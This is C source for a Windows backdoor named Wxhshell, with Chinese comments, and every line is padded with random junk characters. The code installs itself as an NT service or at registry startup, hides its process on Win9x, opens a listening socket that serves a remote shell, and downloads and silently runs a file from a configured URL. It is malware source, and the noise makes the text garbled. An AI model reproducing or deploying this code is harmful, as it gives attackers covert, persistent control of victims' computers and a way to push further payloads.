PROCNTQSIP NtQueryInformationProcess; eZa7brC|
=5*Wu+S4r
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; plPPf+\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J|{50?S{^
t* Ct*
HANDLE hProcess; )rP,+ B?W
PROCESS_BASIC_INFORMATION pbi; ^cNuEF9
rM.Pc?Z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _fZec+oM
if(NULL == hInst ) return 0; h(yFr/
^z!=,M<+{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BA1H)%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L}{3_/t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "{vWdY|"
wG MhKZE
if (!NtQueryInformationProcess) return 0; qvu1 u
GCc
v)*MgfS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =&08s(A
if(!hProcess) return 0; 4>oM5Yf8
Mm*V;ADF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c&wg`1{Hal
ox`Zs2-a
CloseHandle(hProcess); <QvVPE}z
RuYIG?J=/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 67&IaDts
if(hProcess==NULL) return 0; I)1ih
Mj1f;$
HMODULE hMod; 7xO05)bz
char procName[255]; _+9i
unsigned long cbNeeded; |U1 [R\X
[- 92]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); # *pB"L
Nb:j]U
CloseHandle(hProcess); AJ>E\DK0]
c-JXWNz
if(strstr(procName,"services")) return 1; // 以服务启动 mZB:j]T
7"2BZ
return 0; // 注册表启动 )/DN>rU
} k0=!%f_G!
>b"@{MZ@t
// 主模块 ,N:^4A
int StartWxhshell(LPSTR lpCmdLine) ,w6?Ap
{ X@[5nyILf
SOCKET wsl; e0y.J
BOOL val=TRUE; ($`IHKF1.l
int port=0; _Ycz@Jn
struct sockaddr_in door; ;taZixOH
1@{ov!YB]
if(wscfg.ws_autoins) Install(); d+)L K~
~l:Cj*6x8
port=atoi(lpCmdLine); w^8Q~3|7
|sr\SCx
if(port<=0) port=wscfg.ws_port; 9^g8VlQdT
sx azl]
WSADATA data; !VIxEu^ke
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }iDRlE,
C ibfuR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Dti-*LB1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PTe$dPB
door.sin_family = AF_INET; 5P<1I7d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'fK=;mM
door.sin_port = htons(port); [sG`D-\P[
gYN;Fu-9Z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XGR63hXND
closesocket(wsl); KB~1]cYMp
return 1;
,d/$!Yf
} {@L{l1|0
gQik>gFr
if(listen(wsl,2) == INVALID_SOCKET) { !bLCha\
closesocket(wsl); mY"Dw^)
return 1; 6{i0i9Tb
} u,iiS4'Ze
Wxhshell(wsl); "JmbYb#Z
WSACleanup(); yxx_%9 X
4w%hvJ
return 0; Bn8&~
!lzj.|7=1
} "24d:vf\
6[XaIco=C
// 以NT服务方式启动 {BM:c$3@j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VB |k
{ Mz$qe
DWORD status = 0; b/\O;o}]
DWORD specificError = 0xfffffff; An(gHi;1$
hb~d4J=S
serviceStatus.dwServiceType = SERVICE_WIN32; =CFg~8W
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *g}==o`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OO/>}? ob
serviceStatus.dwWin32ExitCode = 0; zx"EAF{
serviceStatus.dwServiceSpecificExitCode = 0; Bi fI.2|
serviceStatus.dwCheckPoint = 0; D_<B^3w)
serviceStatus.dwWaitHint = 0; JfJ ln[
\4$Nx/@Q}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?~.9:93
if (hServiceStatusHandle==0) return; E l.eK9L
dk]
status = GetLastError(); (:~_#BA
if (status!=NO_ERROR) pvt/{
{ #q34>}O< O
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3@eI? (N
serviceStatus.dwCheckPoint = 0; ~7}no}7
serviceStatus.dwWaitHint = 0; sR PQr?
serviceStatus.dwWin32ExitCode = status; _d~GY,WTdO
serviceStatus.dwServiceSpecificExitCode = specificError; |:(B I5&S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k(>J?\iNW
return; PNLlJlYlP
} 24InwR|^
OdyL
j
serviceStatus.dwCurrentState = SERVICE_RUNNING; A|IPQ=
serviceStatus.dwCheckPoint = 0; ~qb?#IY]`
serviceStatus.dwWaitHint = 0; D.AiqO<z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wMF1HT<*
} 2\$<&]q
}1CO>a<
// 处理NT服务事件,比如:启动、停止 hHw1<! M
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8_>:0(y
{ nC/T$
#G
switch(fdwControl) \K9Y@jnr
{ coaJDg+
case SERVICE_CONTROL_STOP: 7m8:odeF
serviceStatus.dwWin32ExitCode = 0; 6"?#s/fk
serviceStatus.dwCurrentState = SERVICE_STOPPED; lKI]q<2
serviceStatus.dwCheckPoint = 0; ,trh)ZZYW|
serviceStatus.dwWaitHint = 0; \iEJ9V
{ ZKI` ;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ca"i<[8
} !Y^$rF-+
return; tvzO)&)$
case SERVICE_CONTROL_PAUSE: _jkJw2+s\
serviceStatus.dwCurrentState = SERVICE_PAUSED;
v/KTEM
break; B7{j$0fm*
case SERVICE_CONTROL_CONTINUE: ]6=opvm
serviceStatus.dwCurrentState = SERVICE_RUNNING; +W>tdxOh
break; cEJ_z(\=hr
case SERVICE_CONTROL_INTERROGATE: Rx%kAt2X
break; &#q%#M:
};
~|KMxY(:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?aG ~E
} jAt65a
`b@"GOr
// 标准应用程序主函数 `~=Is.V[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^kB9
I8u
{ 0Z%<H\Z
S!}pL8OE
// 获取操作系统版本 8r\xQr'8h
OsIsNt=GetOsVer(); . 55aY~We
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yic'p0<
?V
-IV-"-6(
// 从命令行安装 a~tBg y+9
if(strpbrk(lpCmdLine,"iI")) Install(); p-g@cwOu
S;vZXgyN?
// 下载执行文件 Xw^:<Nx:
if(wscfg.ws_downexe) { DUm/0q&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QQ,w:OjA0
WinExec(wscfg.ws_filenam,SW_HIDE); )>=|oY3
} )^^}!U#|e
~>$(5s2
if(!OsIsNt) { 10/3 -)+
// 如果时win9x,隐藏进程并且设置为注册表启动 !q PUQ+
HideProc(); Y50$2%kM
StartWxhshell(lpCmdLine); ~0.@1zEXj
} YX2j;Y?
else >yqL
if(StartFromService()) oWOH #w
// 以服务方式启动 z#&qWO
StartServiceCtrlDispatcher(DispatchTable); \}qv}hU
else ] @1ncn7N
// 普通方式启动 \@n/L{}(@
StartWxhshell(lpCmdLine); U`'w{~"D%
:(x 90;DW
return 0; zjJyc?
}